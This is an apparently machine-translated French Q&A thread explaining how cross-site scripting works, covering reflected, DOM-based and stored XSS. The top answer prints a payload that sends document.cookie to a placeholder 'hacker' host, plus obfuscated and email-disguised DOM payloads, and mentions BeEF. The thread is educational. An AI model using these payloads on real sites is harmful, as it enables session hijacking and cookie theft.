web-dev-qa-db-fra.com

Comment fonctionne XSS?

J'ai très peu d'expérience en développement web, mais je m'intéresse à la sécurité. Cependant, je n'ai pas complètement compris comment fonctionne XSS. Pouvez-vous l'expliquer à med? L'article de Wikipedia me donne une bonne idée mais je ne pense pas que je la comprenne très bien.

89
Ither

XSS - Cross Site Scripting (mais non limité aux scripts intersites réels)

XSS est généralement présenté de 3 manières différentes:

Non persistant (souvent appelé XSS réfléchi)

C'est à ce moment que vous êtes en mesure d'injecter du code et que le serveur vous le renvoie, non analysé. Souvent, cela peut être exploité en distribuant une URL (d'apparence généralement innocente) sous une forme ou une manière sur laquelle les autres peuvent cliquer.

Cela peut être particulièrement efficace lorsque vous avez affaire à des attaques ciblées contre quelqu'un. Tant que vous pouvez inciter quelqu'un à cliquer sur l'URL que vous avez envoyée, vous pouvez obtenir des privilèges élevés sur le système.

Exemple:

Un site contenant un champ de recherche n'a pas le filtrage d'entrée approprié. En créant une requête de recherche ressemblant à ceci:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Assis à l'autre extrémité, sur le serveur Web, vous recevrez des hits où, après un double espace, se trouve le cookie des utilisateurs. Vous pourriez avoir de la chance si un administrateur clique sur le lien, vous permettant de voler son identifiant de session et de détourner la session.

En utilisant des techniques telles que le courrier indésirable, les messages du forum, les messages instantanés, les outils d'ingénierie sociale, cette vulnérabilité peut être très dangereuse.

Basé sur DOM

Très similaire à non persistant, mais où la charge utile javascript n'a pas à être renvoyée par le serveur Web. Cela peut souvent être le cas où simplement la valeur d'un paramètre d'URL est renvoyée sur la page à la volée lors du chargement en utilisant du javascript déjà résident.

Exemple:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Bien sûr, les criminels modifieraient l'URL pour la rendre plus innocente. La même charge utile que ci-dessus vient d'être codée différemment:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Vous pouvez même mieux le masquer lors de l'envoi à des clients de messagerie qui prennent en charge HTML comme ceci:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persistant

Une fois que vous pouvez persister un vecteur XSS, l'attaque devient beaucoup plus dangereuse très rapidement. Un XSS persistant vous est renvoyé par le serveur, généralement parce que le XSS a été stocké dans un champ de base de données ou similaire. Considérez que l'entrée suivante est stockée dans la base de données, puis vous est présentée sur votre profil:

<input type="text" value="Your name" />

Si vous êtes en mesure de faire en sorte que l'application accepte et stocke les entrées non autorisées, tout ce que vous avez à faire est de faire en sorte que d'autres utilisateurs consultent votre profil (ou où le XSS est reflété).

Ces types de XSS peuvent être non seulement difficiles à repérer, mais très dévastateurs pour le système. Jetez un œil au ver XSS appelé ver Samy !

Dans les premiers jours de XSS, vous avez vu ce type d'exploitation partout dans les livres d'or, les communautés, les avis des utilisateurs, les forums de discussion, etc.


Deux vecteurs d'attaque

Maintenant que vous connaissez les différentes façons de fournir une charge utile XSS, je voudrais mentionner quelques vecteurs d'attaque XSS qui peuvent être très dangereux:

  • Dégradation XSS

    Le défacement XSS n'est pas un exploit difficile à accomplir. Si le XSS est également persistant, il peut être difficile pour les administrateurs système de le comprendre. Jetez un œil à RSnake Stallowed "attack" qui a supprimé la fonction de prévisualisation du livre d'Amazon. Lecture assez drôle.

  • Vol de cookies et détournement de session

    Comme dans l'un des exemples ci-dessus, une fois que vous pouvez accéder aux cookies des utilisateurs, vous pouvez également récupérer des informations sensibles. La capture des identifiants de session peut entraîner un détournement de session, qui à son tour peut entraîner des privilèges élevés sur le système.

Désolé pour le long post. Je m'arrête maintenant. Comme vous pouvez le voir, XSS est un très gros sujet à couvrir. J'espère que je vous l'ai expliqué un peu plus clairement.


Exploiter XSS avec BeEF

Pour voir facilement comment XSS peut être exploité, je recommande d'essayer BeEF , Framework d'exploitation du navigateur. Une fois qu'il est décompressé et exécuté sur un serveur Web avec PHP, vous pouvez facilement essayer de générer une simulation d'une victime (appelée zombie) où vous pouvez très facilement essayer différentes charges utiles XSS. :

  • Réseau local Portscan
  • Réseau local Pingsweep
  • Envoyer une applet infectée par un virus, signée et prête
  • Envoyer des messages au client
  • Passer un appel Skype

La liste continue. Recommander de voir la vidéo sur la page d'accueil de BeEF.

MISE À JOUR: J'ai fait ne rédaction sur XSS sur mon blog qui décrit XSS. Il contient un peu sur l'histoire de XSS, les différents types d'attaque et certains cas d'utilisation, notamment BeEF et Shank.

80
Chris Dale

Pour reprendre ce que SteveSyfuhs a dit, il existe de nombreuses façons malveillantes d'utiliser XSS.

Exemples:

Un exemple serait d'injecter du code malveillant dans un champ de base de données. Par la suite, à chaque fois que ce champ est affiché pour l'utilisateur final non autorisé, son navigateur exécutera le code. Cela s'appelle Script intersite persistant/stocké.

Une autre serait la possibilité d'insérer du code dans les paramètres GET ou POST sans qu'ils soient validés ou nettoyés. Lorsque ces variables modifient le contenu de votre page, les données modifiées seront affichées pour l'utilisateur final et leur navigateur exécuterait alors le code malveillant. Ceci est généralement présent dans les liens malveillants via e-mail/Web qui envoient ces paramètres GET lorsque quelqu'un clique sur le lien. Cela s'appelle Reflected Cross Site Scripting.

Ressources:

Fortify Software a une excellente ressource pour expliquer les vulnérabilités et donner des exemples: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Cliquez sur la langue de votre choix et sous Validation des entrées et
    Représentation que vous pouvez sélectionner parmi les différents types de Cross Site
    Vulnérabilités de script telles que définies par Fortify Software.

[~ # ~] owasp [~ # ~] a une excellente ressource pour expliquer comment prévenir les vulnérabilités XSS: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS consiste à laisser des données arbitraires dans un système, puis à montrer ces données non modifiées à un utilisateur. Si j'enregistrais des js dans mon profil et que quelqu'un consultait cette page, les js s'exécuteraient. Par exemple, je pourrais demander aux js d'envoyer le contenu du cookie des utilisateurs à mon service Web, me permettant de faire tout ce que je voulais avec leur cookie, comme voler leur session.

9
Steve

En résumé, les scripts intersites incitent le navigateur Web à exécuter du code malveillant car les développeurs n'ont pas vérifié les entrées non fiables.

Donc, si vous prenez un exemple d'attaque XSS, l'entrée non fiable pourrait être un paramètre d'URL contenant JavaScript. Le développeur suppose que le paramètre contient uniquement des données (ou ne les vérifie pas suffisamment) et ajoute simplement le contenu du paramètre à la page HTML. Le navigateur exécute ensuite consciencieusement le JavaScript et vous avez vous-même une attaque XSS réfléchie.

Plus d'informations peuvent être trouvées ici: page OWASP XSS

8
Ventral